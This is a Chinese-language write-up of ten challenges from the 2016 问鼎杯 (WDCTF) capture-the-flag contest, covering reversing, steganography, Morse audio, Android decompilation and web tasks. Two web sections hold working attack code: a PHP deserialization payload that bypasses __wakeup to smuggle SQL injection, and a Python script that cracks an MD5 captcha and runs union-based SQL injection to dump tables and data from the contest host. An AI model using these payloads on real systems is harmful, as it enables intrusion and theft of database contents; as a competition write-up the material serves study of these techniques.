WDCTF2016-Writeup

WDCTF2016-Writeup

十二月 07, 2016

辣鸡问X杯,毁我青春。积分排名第四没进决赛,hhhh。。。。

2016问鼎杯Write-up

0x01 微微一笑

一张图片二维码,本来以为是图片隐写,把lsb,binwalk等都跑了一遍结果没发现东西。然后关注了一下公众号,发送“flag”,居然自动弹出了flag。。。

0x02 洋为中用

一道Re题目,吐槽一下为什么这次Re题目为什么都是C++的。。。

用ida分析了一下,发现是类似base64加密的加密器,只不过加密的结果都是中文。

1
2
3
(v21 & 0x3FFFu) + 20019);

v15 = v13 & 0x3FFF;

这样两句能看出有一次UTF-8的转码。

1
2
3
4
5
6
|| (BYTE1(v4) = *(v25 + 1), v5 == 2)
|| (v4 = (*(v25 + 2) << 16) | v4 & 0xFFFFFFFFFF00FFFFLL, v5 == 3)
|| (v4 = (*(v25 + 3) << 24) | v4 & 0xFFFFFFFF00FFFFFFLL, v5 == 4)
|| (v4 = (*(v25 + 4) << 32) | v4 & 0xFFFFFF00FFFFFFFFLL, v5 == 5)
|| (v4 = (*(v25 + 5) << 40) | v4 & 0xFFFF00FFFFFFFFFFLL, v5 == 6)
|| (v4 = (*(v25 + 6) << 48) | v4 & 0xFF00FFFFFFFFFFFFLL, v5 == 7)

这段代码能看出进行了一次UTF-16的转码,高位补零。

解密的过程:将密文进行UTF-8解码,然后减去0x4E33,然后补零使长度统一为14位。然后将所有二进制串反序连接在一起,将二进制流分为八个一组转换成对应字符,同时反序。(从第四组数据开始解密)

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*- <--------------采用utf-8
f = open("secret.txt","r")
data = f.read()
data = data.decode('utf-8')
length = len(data)
res = ""
def fg(string,width):
return [string[x:x+width] for x in range(0,len(string),width)]
def step1(string):
string = bin(string)
string = string[2:]
length = len(string)
c = 14-length
for i in range(0,c):
string = "0"+string
return string

for i in range(0,length):
p = data[i]
tmp = ord(p)-0x4e33
tmp = step1(tmp)
res = tmp+res
res = res[4:]
data = fg(res,8)
res = ""
for a in data:
a = int(a,2)
res = chr(a)+res
print res


#flag:BaseCJKisSimilar2Base64

0x03 窃听风云

下载文件secret.data。用文本编辑器打开发现里面是Base64的加密。用16进制编辑器发现解密之后是个音频文件。音频是一段摩斯电码。用Audacity分析该音频文件的音高。

高音代表长音,低音代表断音,复现的电码为:

1
-.........-.-..-..-.---....-..-...---......-----.-.....-.-.----....----.....-...--.

解密得到:

1
2
THESECRETWDFLAGISMORESCODE1SFUN
Flag:MORESCODE1SFUN

0x04 百转千回

一道Re题目。根据serial求得对应name。

1
2
3
4
Hint:
name一共12位,
name[0]='{',name[1]='h',name[2]='d',name[3]='u'
name[5]='b',name[9]='0',name[10]='_',name[11]='}'

name一共有12位,Hint中给了8位,所以只需要推算出剩下的四位。
{hduXbXXX0_}

用ida分析,找到出现Great的部分,发现加密函数sub_401F30。(该函数被调用了11次,对应serial的11组序号)

sub_401F30函数的参数可以看出是每两位进行一次加密。

加密顺序为:name[0]name[1]第一次加密,name[1]name[2]第二次加密,以此类推,有11次加密。

1
2
3
4
5
6
7
8
9
v15 = ((a3 >> 2) & 1) + (a1 & 1) + 6;
*(a2 + 20) = 15;
*(a2 + 16) = 0;
*a2 = 0;
v14 = ((a1 >> 3) & 1) + 6 + ((a3 >> 3) & 1);
v17 = ((a1 >> 1) & 1) + 6 + ((a3 >> 4) & 1);
v4 = (a3 & 1) + 6 + ((a1 >> 2) & 1);
v16 = (a3 & 1) + 6 + ((a1 >> 2) & 1);
v5 = ((a1 >> 4) & 1) + ((a3 >> 1) & 1) + 54;

将name的成员转换成二进制,假设每一份二进制为Hex。

判断name[0].Hex[0]+name[1].Hex[2]+6的值是否等于7

判断name[0].Hex[3]+name[1].Hex[3]+6的值是否等于8

判断name[0].Hex[1]+name[1].Hex[4]+6的值是否等于7

判断name[0].Hex[2]+name[1].Hex[0]+6的值是否等于6

判断name[0].Hex[4]+name[1].Hex[1]+6的值是否等于7

以此类推。

根据序列号可求出剩余四位的二进制的后五位,根据可显字符

可以判断二进制的高三位为’010’,进而可以确定剩余四位符号的二进制。

Flag = {hdu_brav0_}

0x05 一波三折

题目给的文件里面是像素点,只有计算了一下像素点的个数,是307x311,写成图片形式。是个二维码,扫描后拿到一个url地址,打开拿到flag.
贴上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import Image
import re
x = 307
y = 311
fp = open('1.txt')
data = fp.read()
data = re.findall('[0-9]*,[0-9]*,[0-9]*,',data)
res = Image.new("RGB",(x,y))
pos = 0
for i in range(0,x):
for j in range(0,y):
px = re.findall(r'([0-9]+)',data[pos])
res.putpixel(([i,j]),(int(px[0]),int(px[1]),int(px[2])))
pos = pos + 1
res.save("flag.png")
res.show()

0x06 期期艾艾

小明有口吃,他知道世界上最长的单词。
在数学界四大金刚(小明,小红,小芳,小刚)的聚会中,为了活跃气氛,小明让大家玩个猜数字的游戏。
小明给出了一串奇奇怪怪的东西,如下:
0 b29vb3Njb3BpY3Np
1 YW1pY3Jvc29wY2lj
2 bm5vdWx0cmFtaWNy
3 c2lsaWNvdm9sYW5j
4 bGljY2Nvdm9sY2Fu
5 cHBubm5uZXVtb25u
6 bW9ub2x1dHJhbWlj
7 b2Nvbmlvc2lpaWlz
8 aWNzaWxpb29jdmxj
9 Y2FvbmNvmblvc2lz

这是题目描述,全部为base64密文。解密后去掉重复(口吃)是:

oscopicsi
amicrosopcic
noultramicr
silicovolanc
licovolcan
pneumon
monolutramic
oconiosis
icsiliocvlc
caoncosis

题目说了一句,他知道世上最长的单词。但是我在网上找到了更长的单词Orz,符合题目的是pneumonoultramicroscopicsilicovolcanoconiosis
from http://www.baike.com/wiki/%E6%9C%80%E9%95%BF%E7%9A%84%E8%8B%B1%E6%96%87%E5%8D%95%E8%AF%8D
把这单词对应部分的顺序对应的数字连在一起就是flag.

0x07 走笔疾书

这题查看源代码能看到一个提示,xxx tell you a url:xxxxpostData?token=&key
。这题坑了很多人,导致最后第二题差点来不及。cookie中有一个key,md5解开后发现是几个字符,刚开始以为这个就是key,直到晚上放了hint后才知道。css里有个t0ken的RGB值,每次刷新都会改变,把这个值转为16进制,key也是脑洞,提示里提到了js,在控制台试了一下,就拿到了key。刚开始被误导了,自以为是的以为是post过去,发现老是不行,最后试了一下用get的方式传过去,成功拿到flag.

0x08 井然有序

这种题做过好几次了,反序列化的题,绕过wake函数,从而绕过过滤。写php脚本如下:

1
2
3
4
5
6
7
8
9
10
11
<?php 
class COMEON{
private $method="show";
private $args=array(
"admin' union/*!00000select*/password,1,1 from users where username = 'admin' limit 1,1#"
);
private $conn=false;
}
$a = new COMEON();
echo urlencode(serialize($a));
?>

结果为:

1
2
3
4
5
O%3A6%3A%22COMEON%22%3A3%3A%7Bs%3A14%3A%22%00COMEON%00method%22%
3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00COMEON%00args%22%3Ba%3A1%3
A%7Bi%3A0%3Bs%3A87%3A%22admin%27+union%2F%2A%2100000select%2A%2F
password%2C1%2C1+from+users+where+username+%3D+%27admin%27+limit
+1%2C1%23%22%3B%7Ds%3A12%3A%22%00COMEON%00conn%22%3Bb%3A0%3B%7D

修改对象成员个数为4:

1
2
3
4
5
O%3A6%3A%22COMEON%22%3A4%3A%7Bs%3A14%3A%22%00COMEON%00method%22%
3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00COMEON%00args%22%3Ba%3A1%3
A%7Bi%3A0%3Bs%3A87%3A%22admin%27+union%2F%2A%2100000select%2A%2F
password%2C1%2C1+from+users+where+username+%3D+%27admin%27+limit
+1%2C1%23%22%3B%7Ds%3A12%3A%22%00COMEON%00conn%22%3Bb%3A0%3B%7D

拿到flag.

0x09 顺藤摸瓜

(400分)这仅仅是一个数字游戏,Are you ready?
题目解压完是一个安卓apk文件,用安卓逆向神器JEB直接反编译出源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(2130968601);
ButterKnife.bind(((Activity)this));
this.mmText.setText("WDFLAG=" + String.valueOf(String.valueOf(this.getContent(this.theFlag()))
.hashCode()));
this.mmText.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
这是主函数。

private String theFlag() {
String v2;
try {
v2 = this.getPackageManager().getPackageInfo(this.getPackageName(), 0).packageName;
}
catch(PackageManager$NameNotFoundException v0) {
v0.printStackTrace();
}

return v2;
}
private int getContent(String packageName) {
int v1 = 233;
PackageManager v2 = this.getPackageManager();
try {
v1 += v2.getPackageInfo(packageName, 0).versionCode;
}
catch(Exception v0) {
v0.printStackTrace();
}

return v1;
}
public final class BuildConfig {
public static final String APPLICATION_ID = "test.seclab.com.ctftest";
public static final String BUILD_TYPE = "release";
public static final boolean DEBUG = false;
public static final String FLAVOR = "";
public static final int VERSION_CODE = 1227;
public static final String VERSION_NAME = "1.0";

public BuildConfig() {
super();
}
}

分析源代码可知,首先获取了包的版本号,是1227,加上233,是1460。再用一波hashCode方法,结果就是FLAG。

0x0A盲人摸象

试了一下就知道是sql注入,但是多了一个hash校验的验证,也很简单,用for循环遍历一下1-1000000之前的哈系值,根据开头四位判断,用python写个脚本,可以直接绕过。联合注入在information_schema.tables里拿到表名ffff1ag,然后进行盲注,拿到flag.这题没什么脑洞,主要还是写代码吧。

# coding=utf-8
import requests
import random
import hashlib
s = requests.Session()
url='http://sec2.hdu.edu.cn/e33cdf8c2126fc5490fbc5d7fc269036/index.php'
tables_count_num = 0
#get code
def step1(url):
    r=s.get(url)
    code = r.text.find('==')
    return r.text[code+3:code+7]
#crack code
def step2(code):
    num = 10000

    while 1:
        m = hashlib.md5()   
        m.update(str(num))
        if (m.hexdigest()[0:4]==code):
            return num
            break
        num += 1


def get_data(payload):
    code =step2(step1(url))
    data={
    "id":payload,
    "code":code
    }
    r = s.post(url,data = data)
    pos1 = r.text.find('<td>')
    pos2 = r.text[pos1+4:].find('</td>')
    return r.text[pos1+4:][:pos2]

def get_tables(url):

    payload = "-1 UNION SELECT COUNT(*),'user' from information_schema.tables WHERE table_schema = DATABASE() limit 0,1"
    tables_count_num = get_data(payload)
    print "tables_number: "+tables_count_num
    for i in range(0,int(tables_count_num)):
        payload = "-1 UNION SELECT length(table_name),'user' from information_schema.tables WHERE table_schema = DATABASE() limit "+str(i)+",1"
        tables_name_len = get_data(payload)
        print "tables_name_len: "+tables_name_len
        tables_name = ""
        for j in range(0,int(tables_name_len)):
            payload = "-1 UNION SELECT ascii(substring(table_name,"+str(j+1)+",1)),'user' from information_schema.tables WHERE table_schema = DATABASE() limit "+str(i)+",1"
            str = get_data(payload)
            tables_name += chr(int(str))
        print "tables_name:"+ tables_name

def get_columns():
    payload = "-1 UNION SELECT COUNT(*),'user' from information_schema.columns WHERE table_name = 'ffff1ag' limit 0,1"
    columns_count_num = get_data(payload)
    print "columns_number: "+columns_count_num
    for i in range(0,int(columns_count_num)):
        payload = "-1 UNION SELECT length(column_name),'user' from information_schema.columns WHERE table_name = 'ffff1ag' limit "+str(i)+",1"
        columns_name_len = get_data(payload)
        print "columns_name_len: "+columns_name_len
        columns_name = ""
        for j in range(0,int(columns_name_len)):
            payload = "-1 UNION SELECT ascii(substring(column_name,"+str(j+1)+",1)),'user' from information_schema.columns WHERE table_name = 'ffff1ag' limit "+str(i)+",1"
            str = get_data(payload)
            columns_name += chr(int(str))
        print "columns_name:"+ columns_name

def get_flag():
    payload = "-1 UNION SELECT COUNT(fflag),'user' from ffff1ag limit 0,1"
    flag_count_num = get_data(payload)
    print "flag: "+flag_count_num
    for i in range(0,int(flag_count_num)):
        payload = "-1 UNION SELECT length(fflag),'user' from ffff1ag limit "+str(i)+",1"
        flag_len = get_data(payload)
        print "flag_len: "+flag_len
        flag = ""
        for j in range(0,int(flag_len)):
            payload = "-1 UNION SELECT ascii(substring(fflag,"+str(j+1)+",1)),'user' from ffff1ag limit "+str(i)+",1"
            str = get_data(payload)
            flag += chr(int(str))
            print "flag:"+flag
        print "flag:"+ flag

def mrmx():
    get_tables(url)
    get_columns()
    get_flag()

if __name__ == '__main__':
mrmx()